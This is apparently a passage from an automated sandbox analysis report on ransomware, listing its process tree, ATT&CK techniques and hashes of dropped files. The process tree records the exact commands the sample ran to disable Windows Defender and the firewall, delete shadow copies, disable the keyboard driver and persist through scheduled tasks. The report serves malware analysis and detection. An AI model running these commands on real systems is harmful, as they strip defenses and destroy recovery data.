PID:1912
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5448
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:2728
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4736
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:6316
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Users\Admin\AppData\Local\Temp\tlnnetwork.tv_hyber.exe"C:\Users\Admin\AppData\Local\Temp\tlnnetwork.tv_hyber.exe"3⤵PID:5484
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:6728
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\tlnnetwork.tv_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:6580
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:4576
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5936
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5892
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5756
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6572 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:1884
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4984 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2480
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4528 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:1560
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:7008 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3196
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:5052
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\tlnnetwork.tv_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:6616
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:6704
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1276
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2628
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:3448 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4824
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:6288
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:6020
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4520
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa39d0055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:5272
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C:\Users\Admin\AppData\Local\Temp\tlnnetwork.tv_hyber.exeC:\Users\Admin\AppData\Local\Temp\tlnnetwork.tv_hyber.exe1⤵PID:5972
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C:\Users\Admin\AppData\Local\Temp\tlnnetwork.tv_hyber.exeC:\Users\Admin\AppData\Local\Temp\tlnnetwork.tv_hyber.exe1⤵PID:6668
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:3464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:6048
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 31bd4036ff5efee124610146d6326e3e6d32db2b8b4907f8b80f79d61f1faa18
- MD5 4d205786e29c0a1fad83e66aef95fa71
- SHA1 4e018847c49e377eef73d7ee066cad6800fc3b91
- SHA512 3d8fe4f04197ca00cbdaec4eddd00d8ac5ae2711a55568ff0db1e3790d4774f063eea597577de71313901c78a0b58f3866cf1b4630ebf76835495165dba32c3e
- SSDEEP 1536:92Rveo0zwn1+7cRMa3EJb2TeDTkX1EVOyIWoqojXQQdGU4I13Vxsd8E1Iy:9gvQzwnA81EQ6TkFh5XQQoRIJVxsd8Ez
- TLSH T129632B738A23FCC5677F3D40F0542D920C883A678775676CFBC90A9538A6688DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 244B
- SHA256 2cea7472a8823f5680257d0bd146e3b7afbda736cce726e9b7184291c90f25b1
- MD5 e6a4f86b343003412620b0cf5e4fc9eb
- SHA1 a01ff4801e79cd67553957915787b3ee0b941e74
- SHA512 3388f1c977ff7a84403ad9e00c7036138f79a90a2833f71ffe5d084f3bb138591538336cf66b15c07c766a71424f4d6a7a06e4cf83dce0a17abc58afa3565523
- TLSH T17FD0978BB14CC2A80000123B80F3CE8CE7B048283B07BEB44AE0CD4E32E088089F7443
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 245B
- SHA256 53de1f8a11c6a0bad0da5f54c7e978a05bcc9ace024c2a18af784b1ace5c4739
- MD5 9b805e2048676969444b296429bcb0ce
- SHA1 cfcf845ab2ff997c2724f14ca30ab9dffe16973c
- SHA512 fedc63443861fb90e182164b47c7fba6d282c2f687783f0180518bf9422b773d90a28b6e7a5fbbf0a899c0ba94a5dbb8bda5ca9f24f5c284e4c5b5fa9726d895
- TLSH T189D0A78BB14DC6A90001523B80F3DE8CE7E149283B57BEB59AA5DD4E37E088589F7543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 66KB
- SHA256 101a0b2c1a6680e4d0b8c04916e709ee20bbda7dd7f438ff2790fe9b79e9c368
- MD5 e8531fa8fe452763b59b56d4c4c6ea52
- SHA1 1c3b7bd17adaab8817dea62370d8b7ae6dae2212
- SHA512 ef72d05fc7fcd005b4b0ee5a133bcff275e162e2739eb086ea8a269e7eb9c81580648d1dbdf717bb48ac77e5f0beb5ba41544203dccbc071e70b0e24ff2a5ada
- SSDEEP 1536:d2Rveo0zwn1+7cRMa3EJb2TeDTkX1EVOyIWoqojXQQdGU4I13Vxsd8E1I7:dgvQzwnA81EQ6TkFh5XQQoRIJVxsd8EY
- TLSH T161633B338623FCC5677F3D40F1542D920C883A678775676CFBC90A9538A6688EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH